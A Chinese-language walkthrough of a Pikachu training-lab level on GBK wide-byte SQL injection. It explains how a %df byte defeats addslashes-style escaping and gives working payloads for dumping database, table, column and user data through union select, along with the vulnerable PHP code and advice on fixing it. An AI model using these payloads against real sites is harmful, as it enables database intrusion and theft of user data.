摘要 / 前言:在前面的关卡中,如果开发者使用了 addslashes()、mysql_real_escape_string() 或魔术引号(Magic Quotes)对输入进行了转义(在单引号前加 \),常规的注入就会失败。
但是,如果数据库连接使用了 GBK 等宽字节字符集(双字节编码),我们可以利用 PHP 和 MySQL 在字符编码处理上的差异,通过构造特殊的字节(如 %df),让 MySQL 误以为转义符 \ 是某个汉字的一部分,从而“吃掉”转义符,实现单引号的逃逸。这就是 宽字节注入(Wide Byte Injection)。
在进阶利用中,我们解决了两个核心问题:
- 字符串内引号问题: 使用 16 进制编码(Hex)绕过表名 / 列名的单引号限制。
- 回显疑惑: 理解为何浏览器显示
\而数据库却“吃掉”了它。
一、漏洞成因分析
- 输入过滤: 后端使用了转义函数,将 ‘ 变成了 \’ (Hex: 5C 27)。
- 数据库编码: 数据库连接显式设置了 set character_set_client=gbk。
- 编码差异:
- PHP 发送数据时是字节流。
- MySQL 接收到数据后,因为是 GBK 编码,认为两个字节代表一个汉字。
- 当我们将 %df (Hex: DF) 放在 ‘ 前面时,PHP 转义会插入 \ (Hex: 5C)。
- 组合结果:DF 5C 27。
- MySQL 解析:DF 5C 是一个汉字,27 是单引号。\ 被吞噬,单引号生效。
二、核心原理答疑:为什么 \ 还在?
在注入回显中,我们可能会看到类似 admin\' 的乱码,其中 \ 依然可见。
- 字节流:Payload
%df'经过 PHP 转义后,变成了三个字节:DF5C27。DF: 我们构造的宽字节高位。5C: PHP 添加的反斜杠\(ASCII 码)。27: 单引号'。
- MySQL (GBK) 视角:
(DF 5C)被解析为一个汉字,27被解析为单引号。转义失效,注入成功。 - 浏览器 (UTF-8) 视角: 视觉上转义符还在,但逻辑上已失效。
三、进阶技巧:使用 16 进制绕过字符串引号
当需要在 WHERE 子句中使用字符串(如 table_name='member')时,直接写 'member' 会导致单引号再次被转义。解决方法是将字符串转换为 16 进制。
- 转换方法:
pikachu->0x70696b61636875member->0x6d656d626572
四、完整通关 Payload
在 Burp Suite 中发送请求,以避免浏览器自动 URL 编码干扰。
- 在 Chrome/Firefox 的输入框里输入 %df’,浏览器为了安全和传输规范,会自动对 % 进行 URL 编码。
- 你输入:%df’
- 浏览器发送:%25df%27(% 变成了 %25)
- PHP 接收到:字符串 “%df'”(即 3 个字符 %, d, f 以及 ‘)
- PHP 转义:%df\’
- 底层二进制: 25 64 66 5C 27
- 结果: 66 (f) 和 5C () 组合不出来汉字。所以 \ 还在那里,单引号依然被转义。
- 需要做的(Burp Suite):
你必须使用 Burp Suite 的 Repeater(重发器),直接修改 POST 数据包。
确保 Body 中的数据是:
name=kobe%df’+or+1=1%23- PHP 在接收 POST 数据时会自动进行一次 URL 解码。
- %df 解码为 0xDF。
- %27 解码为 ‘。
- PHP escape 转义后变成:0xDF + \ (0x5C) + ‘。
- MySQL (GBK) 看到 0xDF 0x5C -> 认为这是一个汉字(運)。
- 剩下的 ‘ 就逃逸出来了。
1. 验证注入点
- Payload:
admin%df' or 1=1# - 效果: 成功显示所有用户数据。

2. 爆数据库名 & 版本
- Payload:
admin%df' union select database(),version()#

3. 爆表名 (使用 16 进制)
此处 pikachu 转为 16 进制。
- Payload:
admin%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x70696b61636875#- 注:这里使用了 0x… 代替 database() 也是一种思路,或者直接用 database() 函数更方便。

4. 爆列名 (使用 16 进制)
此处必须处理 table_name='member' 的单引号问题。
- Payload:
admin%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x6d656d626572#0x6d656d626572解码后即为member。

5. 爆数据
- Payload:
admin%df' union select 1,group_concat(username,0x3a,email) from member#0x3a是冒号:的 16 进制,用于分隔账号密码。

五、源码逻辑
if(isset($_POST['submit']) && $_POST['name']!=null){$name = escape($link,$_POST['name']);
$query="select id,email from member where username='$name'";// 这里的变量是字符型,需要考虑闭合
// 设置 mysql 客户端来源编码是 gbk, 这个设置导致出现宽字节注入问题
$set = "set character_set_client=gbk";
execute($link,$set);
//mysqi_query 不打印错误描述
...........
}
}
六、修复建议
- 统一编码: 确保 PHP 连接数据库的编码(
character_set_client)、数据库内部存储编码、网页显示编码全部统一为UTF-8,彻底杜绝宽字节注入的土壤。 - 正确转义: 使用
mysql_real_escape_string()并且在连接时正确设置 charset。 - 预编译 (最佳): 使用 PDO 预编译,不给 SQL 解析器任何“组合字符”产生歧义的机会。
正文完